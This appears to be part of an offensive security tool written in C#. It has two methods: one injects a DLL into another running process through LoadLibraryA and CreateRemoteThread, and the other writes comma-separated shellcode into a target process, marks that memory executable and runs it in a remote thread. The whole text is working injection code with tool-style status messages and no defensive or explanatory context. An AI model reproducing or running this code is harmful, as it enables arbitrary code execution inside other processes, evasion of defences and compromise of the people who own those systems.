public InjectDllRemote(string library, UInt32 processId) { //////////////////////////////////////////////////////////////////////////////// WriteOutput("Attempting to get handle on " + processId); IntPtr hProcess = Unmanaged.OpenProcess(Unmanaged.PROCESS_CREATE_THREAD | Unmanaged.PROCESS_QUERY_INFORMATION | Unmanaged.PROCESS_VM_OPERATION | Unmanaged.PROCESS_VM_WRITE | Unmanaged.PROCESS_VM_READ, false, processId); WriteOutput("Handle: " + hProcess); IntPtr hmodule = Unmanaged.GetModuleHandle("kernel32.dll"); IntPtr loadLibraryAddr = Unmanaged.GetProcAddress(hmodule, "LoadLibraryA"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)((library.Length + 1) * Marshal.SizeOf(typeof(char))); WriteOutputNeutral("Attempting to allocate memory"); IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx(hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT | Unmanaged.MEM_RESERVE, Unmanaged.PAGE_READWRITE); WriteOutputGood("Allocated " + dwSize + " bytes at " + lpBaseAddress.ToString("X4")); WriteOutputGood("Memory Protection Set to PAGE_READWRITE"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; IntPtr libraryPtr = Marshal.StringToHGlobalAnsi(library); WriteOutputNeutral("Attempting to write process memory"); Boolean writeProcessMemoryResult = Unmanaged.WriteProcessMemory(hProcess, lpBaseAddress, libraryPtr, dwSize, ref lpNumberOfBytesWritten); WriteOutputGood("Wrote " + dwSize + " bytes"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; WriteOutputNeutral("Attempting to Alter Memory Protections to PAGE_EXECUTE_READ"); Boolean virtualProtectExResult = Unmanaged.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); WriteOutputGood("Set Memory Protection to PAGE_EXECUTE_READ"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutputNeutral("Attempting to start remote thread"); IntPtr hThread = Unmanaged.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, loadLibraryAddr, lpBaseAddress, dwCreationFlags, ref threadId); WriteOutputGood("Started Thread: " + hThread); /////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }
public InjectShellCodeRemote(string shellCodeString, UInt32 processId) { const char DELIMITER = ','; string[] shellCodeArray = shellCodeString.Split(DELIMITER); byte[] shellCodeBytes = new Byte[shellCodeArray.Length]; for (int i = 0; i < shellCodeArray.Length; i++) { int value = (int)new System.ComponentModel.Int32Converter().ConvertFromString(shellCodeArray[i]); shellCodeBytes[i] = Convert.ToByte(value); } //////////////////////////////////////////////////////////////////////////////// WriteOutputNeutral("Attempting to get handle on " + processId); IntPtr hProcess = Unmanaged.OpenProcess(Unmanaged.PROCESS_CREATE_THREAD | Unmanaged.PROCESS_QUERY_INFORMATION | Unmanaged.PROCESS_VM_OPERATION | Unmanaged.PROCESS_VM_WRITE | Unmanaged.PROCESS_VM_READ, false, processId); WriteOutputGood("Handle: " + hProcess.ToString("X4")); //////////////////////////////////////////////////////////////////////////////// IntPtr lpAddress = IntPtr.Zero; UInt32 dwSize = (UInt32)shellCodeBytes.Length; WriteOutputNeutral("Attempting to allocate memory"); IntPtr lpBaseAddress = Unmanaged.VirtualAllocEx(hProcess, lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_READWRITE); WriteOutputGood("Allocated " + dwSize + " bytes at " + lpBaseAddress.ToString("X4")); WriteOutputGood("Memory Protection Set to PAGE_READWRITE"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpNumberOfBytesWritten = 0; GCHandle pinnedArray = GCHandle.Alloc(shellCodeBytes, GCHandleType.Pinned); IntPtr shellCodeBytesPtr = pinnedArray.AddrOfPinnedObject(); WriteOutputNeutral("Attempting to write process memory"); Boolean writeProcessMemoryResult = Unmanaged.WriteProcessMemory(hProcess, lpBaseAddress, shellCodeBytesPtr, (UInt32)shellCodeBytes.Length, ref lpNumberOfBytesWritten); WriteOutputGood("Wrote " + dwSize + " bytes"); //////////////////////////////////////////////////////////////////////////////// UInt32 lpflOldProtect = 0; WriteOutputNeutral("Attempting to Alter Memory Protections to PAGE_EXECUTE_READ"); Boolean test = Unmanaged.VirtualProtectEx(hProcess, lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect); WriteOutputGood("Set Memory Protection to PAGE_EXECUTE_READ"); //////////////////////////////////////////////////////////////////////////////// IntPtr lpThreadAttributes = IntPtr.Zero; UInt32 dwStackSize = 0; IntPtr lpParameter = IntPtr.Zero; UInt32 dwCreationFlags = 0; UInt32 threadId = 0; WriteOutputNeutral("Attempting to start remote thread"); IntPtr hThread = Unmanaged.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, ref threadId); WriteOutputGood("Started Thread: " + hThread); //////////////////////////////////////////////////////////////////////////////// Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }
public void WaitForSingleObjectExRemote(IntPtr hThread) { Unmanaged.WaitForSingleObjectEx(hProcess, hThread, 0xFFFFFFFF); }